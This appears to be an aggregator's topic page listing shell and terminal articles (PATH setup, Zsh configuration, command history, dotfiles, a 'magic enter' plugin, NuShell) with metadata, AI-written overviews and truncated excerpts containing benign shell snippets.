Topics: [Shell](<https://devfeed.tech/topics/shell.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Script](<https://devfeed.tech/topics/script.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [friendly interactive shell](<https://devfeed.tech/topics/fish.md>), [Linux](<https://devfeed.tech/topics/linux.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [config](<https://devfeed.tech/tags/config.md>), [files](<https://devfeed.tech/tags/files.md>), [flow](<https://devfeed.tech/tags/flow.md>), [gotchas](<https://devfeed.tech/tags/gotchas.md>), [history](<https://devfeed.tech/tags/history.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [linux](<https://devfeed.tech/tags/linux.md>), [mac](<https://devfeed.tech/tags/mac.md>), [syntax](<https://devfeed.tech/tags/syntax.md>), [terminal](<https://devfeed.tech/tags/terminal.md>)

### AI overview

A practical guide to adding a directory to PATH. It explains how to identify whether the shell is bash, zsh, or fish, find the relevant shell configuration file, determine which directory should be added, update the configuration, restart the shell, and troubleshoot common PATH-related problems.

### Source excerpt

I was talking to a friend about how to add a directory to your PATH today. It's something that feels "obvious" to me since I've been using the terminal for a long time, but when I searched for instructions for how to do it, I actually couldn't find something that explained all of the steps - a lot of them just said "add this to ~/.bashrc", but what if you're not using bash? What if your bash config is actually in a different file? And how are you supposed to figure out which directory to add anyway? So I wanted to try to write down some more complete directions and mention some of the gotchas I've run into over the years. Here's a table of contents: step 1: what shell are you using? step 2: find your shell's config file a note on bash's config file step 3: figure out which directory to add step 3.1: double check it's the right directory step 4: edit your shell config step 5: restart your shell problems: problem 1: it ran the wrong program problem 2: the program isn't being run from your shell problem 3: duplicate PATH entries making it harder to debug problem 4: losing your history after updating your PATH notes: a note on source a note on fish_add_path step 1: what shell are you using? If you're not sure what shell you're using, here's a way to find out. Run this: ps -p $$ -o pid,comm= if you're using bash, it'll print out 97295 bash if you're using zsh, it'll print out 97295 zsh if you're using fish, it'll print out an error like "In fish, please use $fish_pid" ($$ isn't valid syntax in fish, but in any case the error message tells you that you're using fish, which you probably already knew) Also bash is the default on Linux and zsh is the default on Mac OS (as of 2024). I'll only cover bash, zsh, and fish in these directions. step 2: find your shell's config file in zsh, it's probably ~/.zshrc in bash, it might be ~/.bashrc, but it's complicated, see the note in the next section in fish, it's probably ~/.config/fish/config.fish (you can run echo $__fish_config_di

## How to transition to secure container images with new migration guides

DevFeed: [How to transition to secure container images with new migration guides](<https://devfeed.tech/articles/how-to-transition-to-secure-container-images-with-new-migration-guides-13096.md>)

Original publisher: [Read original article](<https://www.chainguard.dev/unchained/how-to-transition-to-secure-container-images-with-new-migration-guides>)

Published: 2024-05-22T00:00:00Z

Content type: article

Language: en

Sources: [Chainguard: Unchained](<https://devfeed.tech/sources/chainguard-unchained.md>)

Topics: [chainguard images](<https://devfeed.tech/topics/chainguard-images.md>), [migration](<https://devfeed.tech/topics/migration.md>), [container images](<https://devfeed.tech/topics/container-images.md>), [container-security](<https://devfeed.tech/topics/container-security.md>), [APK](<https://devfeed.tech/topics/apk.md>), [Dockerfile](<https://devfeed.tech/topics/dockerfile.md>), [Package Management](<https://devfeed.tech/topics/package-management.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Debian](<https://devfeed.tech/topics/debian.md>)

Tags: [and-best-practices](<https://devfeed.tech/tags/and-best-practices.md>), [apk](<https://devfeed.tech/tags/apk.md>), [base-images](<https://devfeed.tech/tags/base-images.md>), [bash](<https://devfeed.tech/tags/bash.md>), [best-practices](<https://devfeed.tech/tags/best-practices.md>), [build](<https://devfeed.tech/tags/build.md>), [chainguard](<https://devfeed.tech/tags/chainguard.md>), [chainguard-images](<https://devfeed.tech/tags/chainguard-images.md>), [container](<https://devfeed.tech/tags/container.md>), [container-based-application](<https://devfeed.tech/tags/container-based-application.md>), [container-images](<https://devfeed.tech/tags/container-images.md>), [container-security](<https://devfeed.tech/tags/container-security.md>), [container-security-strategy](<https://devfeed.tech/tags/container-security-strategy.md>), [cves](<https://devfeed.tech/tags/cves.md>), [debian](<https://devfeed.tech/tags/debian.md>), [dependencies](<https://devfeed.tech/tags/dependencies.md>), [docker-hub-image](<https://devfeed.tech/tags/docker-hub-image.md>), [dockerfiles](<https://devfeed.tech/tags/dockerfiles.md>), [guides](<https://devfeed.tech/tags/guides.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [image-migration](<https://devfeed.tech/tags/image-migration.md>), [migration](<https://devfeed.tech/tags/migration.md>), [migration-guides](<https://devfeed.tech/tags/migration-guides.md>), [python-image](<https://devfeed.tech/tags/python-image.md>), [secure-container-image](<https://devfeed.tech/tags/secure-container-image.md>), [secure-container-images](<https://devfeed.tech/tags/secure-container-images.md>)

### AI overview

This guide explains how to migrate container images to Chainguard Images for smaller image sizes, fewer vulnerabilities, and continuous maintenance. It covers using -dev images for shells and package managers, installing bash or zsh when needed, searching for packages with apk, and adapting Dockerfiles and entrypoint scripts.

### Source excerpt

Struggling to adopt secure container images? Our new migration guides provide step-by-step instructions and best practices for a smooth transition.

## The power of extensive command history in Bash and Zsh

DevFeed: [The power of extensive command history in Bash and Zsh](<https://devfeed.tech/articles/the-power-of-extensive-command-history-in-bash-and-zsh-27706.md>)

Original publisher: [Read original article](<https://gagor.pro/2024/03/the-power-of-extensive-command-history-in-bash-and-zsh/>)

Author: Tom

Published: 2024-03-05T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Script](<https://devfeed.tech/topics/script.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [bash-history](<https://devfeed.tech/tags/bash-history.md>), [efficiency](<https://devfeed.tech/tags/efficiency.md>), [extensive-command-history](<https://devfeed.tech/tags/extensive-command-history.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [linux](<https://devfeed.tech/tags/linux.md>), [linux-shell-tips](<https://devfeed.tech/tags/linux-shell-tips.md>), [macos](<https://devfeed.tech/tags/macos.md>), [macos-shell-tips](<https://devfeed.tech/tags/macos-shell-tips.md>), [productivity](<https://devfeed.tech/tags/productivity.md>), [shortcuts](<https://devfeed.tech/tags/shortcuts.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [terminal-productivity](<https://devfeed.tech/tags/terminal-productivity.md>), [zsh](<https://devfeed.tech/tags/zsh.md>), [zsh-history](<https://devfeed.tech/tags/zsh-history.md>)

### AI overview

This tutorial explains how to maintain and search extensive command history in Bash and Zsh to reduce repeated command lookups and improve terminal efficiency. It discusses history recall, fuzzy finding, and configuration considerations such as overly aggressive deduplication.

### Source excerpt

Learn how to leverage extensive command history in Bash and Zsh to improve your efficiency and productivity in the terminal.

## Show the Active AWS CLI Profile in iTerm2 with zsh Shell Colors

DevFeed: [Show the Active AWS CLI Profile in iTerm2 with zsh Shell Colors](<https://devfeed.tech/articles/oh-this-is-prod-18853.md>)

Original publisher: [Read original article](<https://www.morling.dev/blog/oh_this_is_prod/>)

Published: 2023-01-05T21:10:00Z

Content type: tutorial

Language: en

Sources: [Gunnar Morling](<https://devfeed.tech/sources/gunnar-morling.md>)

Topics: [Amazon Web Services](<https://devfeed.tech/topics/aws.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [configuration](<https://devfeed.tech/topics/configuration.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>)

Tags: [aws](<https://devfeed.tech/tags/aws.md>), [cli](<https://devfeed.tech/tags/cli.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [terminal](<https://devfeed.tech/tags/terminal.md>)

### AI overview

This tutorial explains how to make the active AWS CLI profile visible by changing the iTerm2 shell profile according to the selected environment. It uses zsh hooks and an environment variable so development and production sessions are visually distinct, reducing the risk of running tests or commands against production.

### Source excerpt

I strongly believe that you should avoid connecting to production environments from local developer machines as much as possible. But sometimes, e.g. in order to analyse some specific kinds of failures, doing so can be inevitable. Now, if this is the case, I really, really want to be sure that I'm aware of the environment I am working in. I absolutely want to avoid a situation as in the catchy title of this post, when for instance you realize that you just ran some integration test against a production environment. In the context of working with the AWS CLI tool this means I'd like to be aware of the currently active profile by means of coloring my shell accordingly. Here's how I've set this up using iTerm2 and zsh.

## Managing dotfiles with GitHub

DevFeed: [Managing dotfiles with GitHub](<https://devfeed.tech/articles/managing-dotfiles-with-github-37175.md>)

Original publisher: [Read original article](<https://arkadiuszchmura.com/posts/managing-dotfiles-with-github/>)

Published: 2022-11-30T00:00:00Z

Content type: tutorial

Language: en

Sources: [Arkadiusz Chmura](<https://devfeed.tech/sources/arkadiusz-chmura.md>)

Topics: [dotfiles](<https://devfeed.tech/topics/dotfiles.md>), [GitHub](<https://devfeed.tech/topics/github.md>), [configuration](<https://devfeed.tech/topics/configuration.md>), [Git](<https://devfeed.tech/topics/git.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Vim](<https://devfeed.tech/topics/vim.md>)

Tags: [adb](<https://devfeed.tech/tags/adb.md>), [completion](<https://devfeed.tech/tags/completion.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [git](<https://devfeed.tech/tags/git.md>), [github](<https://devfeed.tech/tags/github.md>), [laravel](<https://devfeed.tech/tags/laravel.md>), [macos](<https://devfeed.tech/tags/macos.md>), [oh-my-zsh](<https://devfeed.tech/tags/oh-my-zsh.md>), [plugin](<https://devfeed.tech/tags/plugin.md>), [repository](<https://devfeed.tech/tags/repository.md>), [shell](<https://devfeed.tech/tags/shell.md>), [terminal](<https://devfeed.tech/tags/terminal.md>)

### AI overview

A practical guide to managing dotfiles and initialization scripts in a GitHub repository. It explains how to bootstrap a new machine, configure the terminal with Z shell and oh-my-zsh, link Vim and shell configuration files, and keep sensitive variables outside a public repository.

### Source excerpt

This post will describe how I store and manage my dotfiles in a repository on GitHub.

## Shipping completions for Go CLIs using GoReleaser and Cobra

DevFeed: [Shipping completions for Go CLIs using GoReleaser and Cobra](<https://devfeed.tech/articles/shipping-completions-for-go-clis-using-goreleaser-and-cobra-37739.md>)

Original publisher: [Read original article](<https://carlosbecker.com/posts/golang-completions-cobra/>)

Author: Carlos Alexandro Becker

Published: 2022-08-22T00:00:00Z

Content type: tutorial

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [Go Language](<https://devfeed.tech/topics/go-language.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [friendly interactive shell](<https://devfeed.tech/topics/fish.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Homebrew](<https://devfeed.tech/topics/homebrew.md>), [Unix](<https://devfeed.tech/topics/unix.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [go](<https://devfeed.tech/tags/go.md>), [homebrew](<https://devfeed.tech/tags/homebrew.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [hugo](<https://devfeed.tech/tags/hugo.md>), [packaging](<https://devfeed.tech/tags/packaging.md>), [powershell](<https://devfeed.tech/tags/powershell.md>), [shell](<https://devfeed.tech/tags/shell.md>)

### AI overview

A tutorial on shipping shell completions for Go command-line tools using Cobra and GoReleaser. It covers generating completion files, enabling them through GoReleaser hooks, packaging them for archives, Homebrew, AUR, and nFPM, testing the packages, and optionally adding Unix man pages.

### Source excerpt

Everyone likes command line completions, so much that some even install extra tools just to have them.

## Magic enter command for (fish/zsh) shell

DevFeed: [Magic enter command for (fish/zsh) shell](<https://devfeed.tech/articles/magic-enter-command-for-fish-zsh-shell-25285.md>)

Original publisher: [Read original article](<https://kau.sh/blog/magic-enter-shell/>)

Author: Kaushik Gopal

Published: 2022-07-23T19:50:31Z

Content type: tutorial

Language: en

Sources: [Kaushik Gopal's Site](<https://devfeed.tech/sources/kaushik-gopal-s-site.md>)

Topics: [friendly interactive shell](<https://devfeed.tech/topics/fish.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>)

Tags: [automatically](<https://devfeed.tech/tags/automatically.md>), [command](<https://devfeed.tech/tags/command.md>), [commands](<https://devfeed.tech/tags/commands.md>), [directory](<https://devfeed.tech/tags/directory.md>), [files](<https://devfeed.tech/tags/files.md>), [fish](<https://devfeed.tech/tags/fish.md>), [git](<https://devfeed.tech/tags/git.md>), [key](<https://devfeed.tech/tags/key.md>), [repo](<https://devfeed.tech/tags/repo.md>), [repository](<https://devfeed.tech/tags/repository.md>), [root](<https://devfeed.tech/tags/root.md>), [status](<https://devfeed.tech/tags/status.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The article configures Enter on an empty command line to run `git-number` for a Git repository with changes, or `ll` otherwise. The fish function checks repository status and whether the current directory is the repository root before choosing the command; it then executes the selected command. The zsh version exposes `MAGIC_ENTER_GIT_COMMAND` and `MAGIC_ENTER_OTHER_COMMAND` settings, defaulting to `git-number` and `ll`, and only acts at an empty prompt. The excerpt notes revisions to limit status checks to the repository root and concern about slow porcelain status output, but cuts off before the full zsh logic.

### Source excerpt

Two of the most common commands I run when I cd into a directory are: git status (which i do through git-number) ls -lh (aliased automatically as ll through fish) If this directory is not a git repo, then I usually am thinking of command 2. If however it is a git repository then I'd like to know if any files have been changed in this directory and which ones specifically (which is command 1). Wouldn't it be nice if I could just hit the ↩ (enter key) and have this automatically happen? Your browser doesn't support HTML5 video. Download the video instead. Solution for fish users ## If you're using fish, I got you covered: # filename: fish/conf.d/magic-enter.fish function magic-enter-cmd --description "Issue git status or ls on hitting enter in a dir" set -l cmd ll set -l is_git_repository (fish -c "git rev-parse --is-inside-work-tree >&2" 2>| grep true) # Special variable indicating git. set -l in_root_folder (fish -c "git rev-parse --show-toplevel >&2" 2>| grep (pwd)) set -l repo_has_changes (git status -s --ignore-submodules=dirty) if test -n "$is_git_repository" if test -n "$in_root_folder" if test -n "$repo_has_changes" set cmd git-number end end end echo $cmd end function magic-enter set -l cmd (commandline) if test -z "$cmd" commandline -r (magic-enter-cmd) commandline -f suppress-autosuggestion end commandline -f execute end bind \r magic-enter Solution for zsh users ## If you're using zsh, I adapted the native solution like so: # filename: magic-enter.plugin.zsh # Default commands : ${MAGIC_ENTER_GIT_COMMAND:="git-number"} # run when in a git repository : ${MAGIC_ENTER_OTHER_COMMAND:="ll"} # run anywhere else magic-enter() { # Only run MAGIC_ENTER commands when in PS1 and command line is empty # http://zsh.sourceforge.net/Doc/Release/Zsh-Line-Editor.html#User_002dDefined-Widgets if [[ -n "$BUFFER" || "$CONTEXT" != start ]]; then return fi is_git_repository=$(git rev-parse --is-inside-work-tree) in_repo_root_folder=$(git rev-parse --show-toplevel) repo_has_chan

## Maybe I can Stay in NuShell -or- Living in a Diverse Land of Shells

DevFeed: [Maybe I can Stay in NuShell -or- Living in a Diverse Land of Shells](<https://devfeed.tech/articles/maybe-i-can-stay-in-nushell-or-living-in-a-diverse-land-of-shells-28206.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/nushell/2022/07/20/maybe-i-can-stay-in-nushell.html>)

Author: Fuzzygroup

Published: 2022-07-20T09:36:00Z

Content type: opinion

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [Shell](<https://devfeed.tech/topics/shell.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [command](<https://devfeed.tech/tags/command.md>), [nushell](<https://devfeed.tech/tags/nushell.md>), [rails](<https://devfeed.tech/tags/rails.md>), [ruby](<https://devfeed.tech/tags/ruby.md>), [rvm](<https://devfeed.tech/tags/rvm.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The author explains that they can continue using NuShell as their main shell while switching to Bash or Zsh when tools such as RVM require them. A Rails project is successfully created after switching to Bash.

### Source excerpt

I really, really like NuShell. The realization that maybe I had to leave was, I'll admit, mildly crushing. And then I just had the realization that maybe I don't have to leave NuShell and slink back to the dirty, byte infested corners of Bash and Zsh. Here's what just happened: /Users/sjohnson/Sync/coding/flow_analytics/open_source〉rails new pool_api --api Rails is not currently installed on this system. To get the latest version, simply type: $ sudo gem install rails You can then rerun your "rails" command. /Users/sjohnson/Sync/coding/flow_analytics/open_source〉ruby -v 07/20/2022 05:34:41 AM ruby 2.6.8p205 (2021-07-07 revision 67951) [universal.x86_64-darwin21] /Users/sjohnson/Sync/coding/flow_analytics/open_source〉rvm use And that was the point when I realized "Oh yeah - RVM doesn't work on NuShell" and then it struck me - I can run Bash: /Users/sjohnson/Sync/coding/flow_analytics/open_source〉/bin/bash 07/20/2022 05:34:57 AM bash: /Users/sjohnson/Library/Python/2.7/bin/powerline-config: /usr/bin/python: bad interpreter: No such file or directory bash: /Users/sjohnson/Library/Python/2.7/bin/powerline-config: /usr/bin/python: bad interpreter: No such file or directory bash: /Users/sjohnson/.iterm2_shell_integration.nu: No such file or directory ERROR: Can't find Ruby library file or shared library lunchy usage: dirname string [...] The default interactive shell is now zsh. To update your account to use zsh, please run `chsh -s /bin/zsh`. For more details, please visit https://support.apple.com/kb/HT208050. [sjohnson:~/Sync/coding/flow_analytics/open_source] [base] $ rails new pool_api --api create create README.md create Rakefile create .ruby-version create config.ru create .gitignore create .gitattributes create Gemfile run git init from "." ... So maybe my system can mostly run NuShell and I can drop in and out of Bash / Zsh when I need different things. Fingers Crossed.

## I switched to Zsh

DevFeed: [I switched to Zsh](<https://devfeed.tech/articles/i-switched-to-zsh-27672.md>)

Original publisher: [Read original article](<https://gagor.pro/2021/12/i-switched-to-zsh/>)

Author: Tom

Published: 2021-12-16T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [configuration](<https://devfeed.tech/topics/configuration.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [debian](<https://devfeed.tech/tags/debian.md>), [developer-tools](<https://devfeed.tech/tags/developer-tools.md>), [fonts](<https://devfeed.tech/tags/fonts.md>), [git](<https://devfeed.tech/tags/git.md>), [installation](<https://devfeed.tech/tags/installation.md>), [linux](<https://devfeed.tech/tags/linux.md>), [macos](<https://devfeed.tech/tags/macos.md>), [oh-my-zsh](<https://devfeed.tech/tags/oh-my-zsh.md>), [powerlevel10k](<https://devfeed.tech/tags/powerlevel10k.md>), [productivity](<https://devfeed.tech/tags/productivity.md>), [python](<https://devfeed.tech/tags/python.md>), [shell](<https://devfeed.tech/tags/shell.md>), [switching](<https://devfeed.tech/tags/switching.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [ubuntu](<https://devfeed.tech/tags/ubuntu.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A practical guide to switching from Bash to Zsh and configuring Oh My Zsh, Powerlevel10k, plugins, fonts, and Git status indicators for an improved terminal workflow.

### Source excerpt

A guide to switching from bash to Zsh, with Oh My Zsh, Powerlevel10k, and useful plugins for a better terminal experience.

[Next page](<https://devfeed.tech/topics/zsh.md?cursor=WyIyMDIxLTEyLTE2VDAwOjAwOjAwKzAwOjAwIiwgImI3NzJiMjAyLTBhODItNDFhMS1hODhmLTQwOTdkMDViZmQxNiJd>)